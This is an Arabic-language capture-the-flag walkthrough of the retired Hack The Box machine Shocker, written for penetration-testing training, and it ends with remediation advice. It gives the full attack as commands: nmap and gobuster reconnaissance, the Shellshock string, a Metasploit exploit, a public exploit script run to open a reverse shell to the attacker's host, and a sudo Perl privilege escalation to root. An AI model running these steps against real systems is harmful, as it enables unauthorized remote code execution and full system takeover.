استكشاف ثغرة Shellshock: اختراق Shocker في Hack The Box خطوة بخطوة
منصة Hack The Box (HTB) هي بيئة تدريبية تفاعلية على الإنترنت تتيح للمحترفين والهواة على حد سواء صقل مهاراتهم في اختبار الاختراق والأمن السيبراني. تتضمن المنصة مجموعة واسعة من التحديات التي تُحدّث باستمرار، بعضها يحاكي سيناريوهات واقعية للأنظمة المخترقة، بينما يميل البعض الآخر إلى أسلوب تحديات Capture The Flag (CTF). في هذا المقال، سنستعرض بالتفصيل كيفية اختراق جهاز Shocker، وهو أحد الأجهزة المتقاعدة في HTB، والذي يسلط الضوء على خطورة استغلال Shellshock الشهير الذي أثر على ملايين الخوادم العامة.
ملاحظة هامة: يُسمح بنشر شروحات أجهزة HTB المتقاعدة فقط.

لاستغلال جهاز Shocker على نظام Kali Linux، سنستخدم الأدوات التالية:
nmapgobustercurlsearchsploitmetasploit
لنبدأ رحلتنا في عالم اختبار الاختراق.
كخطوة أولى، نقوم بإضافة إدخال لجهاز Shocker في ملف /etc/hosts لتسهيل الوصول إليه بالاسم بدلاً من عنوان IP. افتح الملف باستخدام nano:
nano /etc/hosts
ثم أضف السطر التالي:
10.10.10.56 shocker.htb

الخطوة 1: الاستطلاع وجمع المعلومات (Reconnaissance)
تُعد مرحلة الاستطلاع من أهم الخطوات قبل محاولة اختراق أي نظام. كلما أمضيت وقتاً أطول في جمع المعلومات، زادت فرصتك في تحديد نقاط الضعف المحتملة واستغلالها بنجاح.
فحص المنافذ (Port Scanning) باستخدام Nmap
سنبدأ باستخدام أداة Nmap (Network Mapper)، وهي أداة مجانية ومفتوحة المصدر لاكتشاف الشبكات وتدقيق الأمان. تستخدم Nmap حزم IP الأولية لتحديد المضيفين المتاحين على الشبكة، والخدمات التي يقدمونها، وأنظمة التشغيل التي تعمل عليها، وأنواع جدران الحماية المستخدمة، والعديد من الخصائص الأخرى.

لإجراء فحص مكثف وشامل، استخدم الأمر التالي:
nmap -A -v shocker.htb
-A: يُمكّن الكشف عن نظام التشغيل، كشف الإصدارات، فحص السكربتات، وتتبع المسار (traceroute).-v: يزيد من مستوى الإسهاب (verbosity) في الإخراج.shocker.htb: اسم المضيف المستهدف لجهازShocker.
إذا كانت النتائج تبدو معقدة أو كثيرة جداً، يمكنك تجربة فحص أبسط:
nmap shocker.htb

من خلال الفحص، نلاحظ وجود منفذين مفتوحين:
- المنفذ
80: يُستخدم غالباً لبروتوكولHypertext Transfer Protocol(HTTP). - المنفذ
2222: يُستخدم لرسائلEtherNet/IPالضمنية لبيانات الإدخال/الإخراج.
فحص الدلائل (Directory Scanning) باستخدام Gobuster
بعد فحص المنافذ، ننتقل إلى فحص الدلائل للعثور على مسارات أو ملفات مخفية على خادم الويب. سنستخدم أداة Gobuster، وهي ماسح ضوئي للدلائل مكتوب بلغة Go.
تستخدم Gobuster قوائم كلمات (wordlists) موجودة في نظام Kali Linux، تحديداً في دليل /usr/share/wordlists. سنستخدم قوائم الكلمات من dirb و dirbuster، ويمكنك أيضاً تنزيل المزيد من قوائم الكلمات من SecLists.

نُجري فحصاً باستخدام قائمة الكلمات dirb/common.txt:
gobuster dir -u shocker.htb -w /usr/share/wordlists/dirb/common.txt
أسفر هذا الفحص عن نتائج مهمة، أبرزها اكتشاف المسار /cgi-bin/. هذا المسار غالباً ما يحتوي على سكربتات قابلة للتنفيذ.
نقوم بفحص دلائل إضافي مع التركيز على الامتدادات الشائعة لسكربتات CGI (مثل cgi، sh، pl، py) داخل المسار /cgi-bin:
gobuster dir -u shocker.htb/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py

هنا نكتشف شيئاً مثيراً للاهتمام: الملف /user.sh.
الخطوة 2: فهم ثغرة Shellshock
بناءً على مرحلة الاستطلاع، قررنا البدء بالتحقيق في المنفذ 80. عند زيارة الصفحة، نجدها غير مفيدة بشكل مباشر.

باستخدام الأمر curl لفحص محتوى shocker.htb/cgi-bin/user.sh، نلاحظ أن السكربت يقوم بتشغيل أوامر bash.
curl shocker.htb/cgi-bin/user.sh

بالبحث حول اسم الجهاز ونظام استغلال Linux، نصل إلى ثغرة Shellshock. تُعرف Shellshock، أو Bashdoor، بأنها عائلة من الأخطاء الأمنية في صدفة Unix Bash، وقد كُشف عن أولها في 24 سبتمبر 2014. تمكن Shellshock المهاجم من جعل Bash ينفذ أوامر عشوائية ويحصل على وصول غير مصرح به إلى العديد من الخدمات المواجهة للإنترنت، مثل خوادم الويب، التي تستخدم Bash لمعالجة الطلبات.
كيف تعمل ثغرة Shellshock؟
تعتمد Shellshock على حقيقة أن Bash يقوم بتنفيذ الأوامر اللاحقة عندما يستورد تعريف دالة مخزنة في متغير بيئة (environment variable). نظراً لأن هذه المتغيرات لا تُعالج بشكل صحيح قبل التنفيذ، يمكن للمهاجم إرسال أوامر إلى الخادم عبر طلبات HTTP وتنفيذها من خلال نظام تشغيل خادم الويب.
تحدث ثغرة Shellshock عندما يقوم المهاجم بتعديل طلب HTTP الأصلي ليحتوي على السلسلة التالية:
() { :; };
لدى Bash قواعد خاصة للتعامل مع متغير يبدأ بهذا النمط، وسوف يفسره كأمر يحتاج إلى التنفيذ.
يمكنك قراءة المزيد عن هذه الثغرة في قواعد بيانات الثغرات الوطنية (National Vulnerability Database) أو الاطلاع على عروض OWASP التقديمية ذات الصلة:

كما كتبت شركة F5 مقالاً حول هذا الاستغلال:

الخطوة 3أ: استغلال Bashdoor باستخدام Metasploit
سنستخدم إطار عمل Metasploit، وهو أداة أساسية للعديد من مختبري الاختراق والمدافعين، حيث يبسط عملية الاستغلال.

نبدأ بتشغيل Metasploit Framework على Kali Linux. لا تنسَ تحديث Metasploit عند تشغيله باستخدام الأمر التالي:
msfupdate
يمكنك التحقق مما إذا كان الهدف عرضة لثغرة Shellshock باستخدام وحدة مساعدة (auxiliary module). ابدأ بهذا الأمر للبحث عن الوحدات ذات الصلة:
search shellshock

ثم اختر الوحدة المساعدة المناسبة (عادةً ما تكون الخيار 0 في القائمة) باستخدام:
use 0
أو بالأمر الكامل:
use auxiliary/scanner/http/apache_mod_cgi_bash_env

يمكنك التحقق من الخيارات المتاحة باستخدام show options. قم بتعيين RHOSTS (المضيف البعيد) إلى shocker.htb:
set RHOSTS shocker.htb
وعيّن TARGETURI (المسار المستهدف) إلى /cgi-bin/user.sh:
set TARGETURI /cgi-bin/user.sh
بعد ذلك، قم بتشغيل الفحص للتحقق من الثغرة:
check
إذا كانت النتائج تشير إلى أن المضيف عرضة لثغرة Shellshock، يمكننا المتابعة إلى الاستغلال. سنستخدم الاستغلال (exploit) المناسب، والذي عادةً ما يكون الخيار 5 من قائمة البحث السابقة، أو بالأمر الكامل:
use exploit/multi/http/apache_mod_cgi_bash_env_exec
نقوم بتعيين RHOSTS و TARGETURI مرة أخرى، بالإضافة إلى LHOST (المضيف المحلي)، والذي كان في حالتي 10.10.14.28. تأكد من تعيينه إلى عنوان IP الخاص بجهاز Kali Linux الخاص بك.

نتحقق من الخيارات للتأكد من إعداد كل شيء بشكل صحيح:

ثم نقوم بتشغيل الاستغلال:
run

نحصل على جلسة Meterpreter. Meterpreter هو حمولة متقدمة وقابلة للتوسيع ديناميكياً، تستخدم حقن DLL في الذاكرة وتتوسع عبر الشبكة في وقت التشغيل. توفر واجهة Ruby API شاملة، وتتميز بسجل الأوامر، والإكمال التلقائي، والقنوات، والمزيد.
لنبدأ بجمع بعض المعلومات. الأمر getuid يُرجع معرّف المستخدم الحقيقي للعملية الحالية:

الخطوة 3ب: استغلال Bashdoor بدون Metasploit
يمكننا أيضاً استغلال هذه الثغرة يدوياً دون الحاجة إلى Metasploit. سنستخدم أداة Searchsploit للبحث عن استغلالات معروفة. Searchsploit هي أداة سطر أوامر للبحث في قاعدة بيانات Exploit Database.
نبحث عن استغلالات Shellshock:
searchsploit shellshock

نحصل على تفاصيل حول استغلال معين (على سبيل المثال، 34900.py):
searchsploit -x 34900.py

يمكنك أيضاً التحقق من قاعدة بيانات Exploit Database مباشرة للعثور على نفس الاستغلال:

لمعرفة موقع الاستغلال على نظام Kali الخاص بي، أستخدم الأمر:
searchsploit -p 34900.py

أقوم بنسخ الملف إلى مجلد العمل الخاص بي:
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .
وللتأكد من نسخه، أتحقق من محتويات المجلد:
ls -la

الآن، نقوم بتشغيل الاستغلال باستخدام Python. نُعيّن الحمولة (payload) لتكون reverse للحصول على TCP reverse shell، ونحدد rhost (المضيف البعيد)، و lhost (المضيف المحلي)، و lport (المنفذ المحلي)، بالإضافة إلى pages (المسار المستهدف):
python 34900.py payload=reverse rhost=shocker.htb lhost=10.10.14.4 lport=1234 pages=/cgi-bin/user.sh

وبذلك نحصل على shell!
الخطوة 4: البحث عن علم المستخدم (user.txt)
بعد الحصول على وصول أولي، نبدأ بالبحث عن علم المستخدم (user.txt). ننتقل إلى مجلد home ثم إلى مجلد shelly. يمكننا سرد جميع الملفات والمجلدات باستخدام الأمر:
ls -la
ثم ننتقل إلى مجلد home:
cd home

هنا نجد علم المستخدم! نتحقق من محتويات الملف باستخدام الأمر:
cat user.txt
الخطوة 5: البحث عن علم الجذر (root.txt) وتصعيد الامتيازات
نحاول الانتقال إلى مجلد root، لكن الوصول مرفوض. هذا يعني أننا بحاجة إلى تصعيد الامتيازات (privilege escalation) للحصول على صلاحيات المستخدم الجذر.

أولاً، نحصل على shell قياسي على النظام المستهدف باستخدام الأمر:
shell
ثم نقوم بإنشاء TTY shell للحصول على تفاعل أفضل مع سطر الأوامر:
python3 -c "import pty; pty.spawn('/bin/bash/');"
لتصعيد الامتيازات، نحتاج إلى معرفة ما إذا كان المستخدم الحالي (shelly) لديه أي صلاحيات sudo خاصة. نستخدم الأمر sudo -l لفهم الأوامر التي يمكننا تشغيلها كمستخدم آخر (عادةً root) دون كلمة مرور:
sudo -l

نكتشف أن المستخدم shelly يمكنه تنفيذ أمر Perl كمستخدم root بدون كلمة مرور! هذا هو مسار تصعيد الامتيازات لدينا. نقوم بتصعيد الامتيازات باستخدام Perl:
sudo perl -e 'exec "/bin/bash";'

الآن أصبحنا root! يمكننا التنقل إلى مجلد root. نجد ملف root.txt ونتحقق من محتواه باستخدام الأمر:
cat root.txt

تهانينا! لقد عثرت على كلا العلمين بنجاح.
الإجراءات التصحيحية (Remediations)
لتجنب التعرض لثغرات مثل Shellshock، يُنصح باتخاذ الإجراءات التالية:
- تحديث
Bash: قم بترقيةBashإلى إصدار لا يفسر النمط() { :; };بطريقة خاصة تؤدي إلى تنفيذ الأوامر. - ترقيع الخوادم: حافظ على تحديث جميع أنظمة التشغيل والبرامج والتطبيقات على خوادمك بأحدث التصحيحات الأمنية.
- مراجعة الأكواد: قم بمراجعة الأكواد المصدرية للسكربتات التي تعمل كـ
CGIللتأكد من أنها لا تعالج متغيرات البيئة بشكل غير آمن. - تطبيق مبدأ الامتيازات الأقل: تأكد من أن الخدمات تعمل بأقل الامتيازات اللازمة لوظائفها.
الخلاصة التقنية
لقد قدم هذا الدليل رحلة عملية ومفصلة في عالم اختبار الاختراق، مع التركيز على استغلال ثغرة Shellshock الشهيرة في جهاز Shocker ضمن منصة Hack The Box. بدأت العملية بمرحلة الاستطلاع الدقيقة باستخدام أدوات مثل Nmap لفحص المنافذ و Gobuster لاكتشاف الدلائل والملفات المخفية، مما قادنا إلى تحديد مسار /cgi-bin/user.sh الحرج. بعد ذلك، تعمقنا في فهم طبيعة ثغرة Shellshock، وكيف تستغل معالجة Bash لمتغيرات البيئة لتنفيذ أوامر عشوائية.
أظهرنا طريقتين لاستغلال الثغرة: الأولى باستخدام إطار عمل Metasploit القوي الذي يوفر وحدات جاهزة للتحقق والاستغلال، والثانية يدوياً باستخدام سكربت Python من قاعدة بيانات Exploit Database، مما يؤكد على أهمية فهم آليات الاستغلال الأساسية. بعد الحصول على وصول أولي، تمكنا من تصعيد الامتيازات من مستخدم عادي إلى root من خلال استغلال نقطة ضعف في إعدادات sudo، حيث سُمح للمستخدم بتشغيل Perl بصلاحيات الجذر دون كلمة مرور.
تُبرز هذه التجربة أهمية التحديثات الأمنية المنتظمة، والتحقق من إعدادات الصلاحيات، وفهم كيفية تفاعل المكونات المختلفة للنظام (مثل Bash و CGI) لتجنب الثغرات الحرجة. إن Shellshock مثال كلاسيكي على كيف يمكن لثغرة تبدو بسيطة في معالجة متغيرات البيئة أن تؤدي إلى اختراق كامل للنظام، مما يؤكد على الحاجة المستمرة لليقظة الأمنية والترقيع الفوري.
